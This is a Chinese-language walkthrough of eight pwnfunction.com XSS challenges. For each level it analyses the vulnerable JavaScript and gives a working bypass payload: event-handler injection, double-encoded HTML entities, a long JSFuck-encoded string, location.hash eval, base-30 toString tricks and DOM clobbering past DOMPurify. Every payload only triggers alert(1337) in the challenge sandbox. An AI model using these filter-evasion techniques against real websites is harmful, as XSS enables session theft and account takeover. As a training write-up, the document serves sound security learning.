环境进入该网站
Challenges (pwnfunction.com)
第一关:Ma Spaghet!
源码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
要求:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
分析源码:
在script标签里边,使用get传参的方式给somebody传一个值,如果没有传值,默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中
这里的spaghet后边加了一个innerHTMl的属性,官方解释
innerHTMLElement.innerHTML 属性设置或获取 HTML 语法表示的元素的后代。https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
我们用script插入这里看似插进去了,但是不会执行。所以我们换一个
这样我们就成功绕过
官方给的答案,原理是一样的,只是标签不一样。
第二关:Jefff
源码:
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
要求:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
. - No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
. - Tested on Chrome.
分析源码:
这里首先使用get传参的方式,给jeff一个值,将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性
官方解释
他不会去渲染我们的css样式,意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路,他不能加标签,那我们看能不能直接闭合ma,之后执行我们的代码
这很明显,我们成功绕过
第三关:Ugandan Knuckles
源码:
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
要求还是和之前的一样
分析源码:
还是使用get方式传参;首先是传给wey一个值,然后赋值给变量let wey,然后这里过滤了<>尖括号,最后将我们的变量wey内容传给Uganda,显示在输入框中,Uganda也带一个inner HTML的属性,所以我们不能使用script标签,那就看看其他的思路;
这里使用onfocus 和autofucus 使用焦点的原理,可以使用onfocus获取焦点,再利用autofocus自动获取焦点,所以我们就触发执行代码
第四关:Ricardo Milos
源码:
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
分析源码:
使用get方式传参;传一个值给Ricardo,这里的submit是提交,意思是将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就使用一下JavaScript
第五关:Ah That's Hawt
源码:
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
源码分析:
这里主要是过滤,将()\ 和反引号过滤 ;会将这些符号转化为空
还有inner HTML,所以script也不能用了
不妨试一下用img的报错实现,因为我们的括号被过滤,那么我们可以试下使用实体编码进行绕过
?markassbrownlee=<img%20src=1%20οnerrοr=alert(1337)>
在h2这并没有找到我们插入的标签,这是为什么呢?明明也没有过滤我们的img标签啊
其实是因为url在传参时,会将我们的特殊符号进行解码,但我们传递的是html的实体编码,所以问题出现在了这里,那么我们再将实体编码再进行次url编码
?markassbrownlee=<img%20src=1%20onerror=alert%26%2340%3B1337%26%2341%3B>
第六关:Ligma
源码:
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这里我们有个技巧,当看到过滤了大小写和数字时,我们使用一个工具就可以直接进行
解决办法:
利用框架绕过:https://jsfuck.com/
他就会用一些符号来表示我们的字符和数字等
这里我们将上边转好的复制输入进去
因为+在url传参时,会解码为空格,所以我们要对这些符号再次编码
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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第七关:Mafia
源码:
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
分析源码:
这里还是get方式传参,但是限制我们传入的参数长度最大为50个字节,而且过滤了一大堆东西,最后执行mafia
很明显上一关的方法就不行了
代码漏洞,他过滤了符号和alert函数,但是没有过滤confirm
函数
?mafia=confirm(1)
但很明显,这一题的考察点不在这里
我看了官方给出的3个答案
首先第一个答案:
Function构造了一个ALERT(1337)函数,
source 然后调用函数的源码,就拿到了ALERT(1337),在调用js中的转成小写,最后在加上一个括号就表示执行函数。这样就绕过了上边的限制条件,并且成功执行
第二个:
eval(8680439..toString(30))(1337)
toString()是返回一个函数的字符串,内容是函数的源码
这里返回了一个alert,那我们大胆猜前边的8680439就是的,但是是咋来的呢?其实就是我们的alert使用parseint函数转换成了30进制的一个整数
这里的三十是代表三十进制,因为要想直接显示alert,16进制是从0-9,A-F,所以到T这里就是三十进制了。所以最后执行代码就成功了。
第三个:
eval(location.hash.slice(1))
我们可以看到,location.hash,取到的是url里#后的值,slice函数是分片,可以将#后面的提取到
那么#后面写上alert(1337),前面加上eval(location.hash.slice(1))就可以了
?mafia=eval(location.hash.slice(1))#alert(1337)
第八关:Ok, Boomer
源码:
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
分析:
这道题通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify
DOMPurify防御用户输入框架,会把你的危险属性过滤完了
这个过滤框架由安全团队cure53开发,以我们的技术很难绕过
但是注意setTimeout函数内的ok参数
这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏
在这里右键--查看源代码会找到这个防御的框架
突破口
setTimeout(ok, 2000)
这里使用一个dom clobbering称之为dom破坏技术
<a id=ok href=tel:alert(1337)>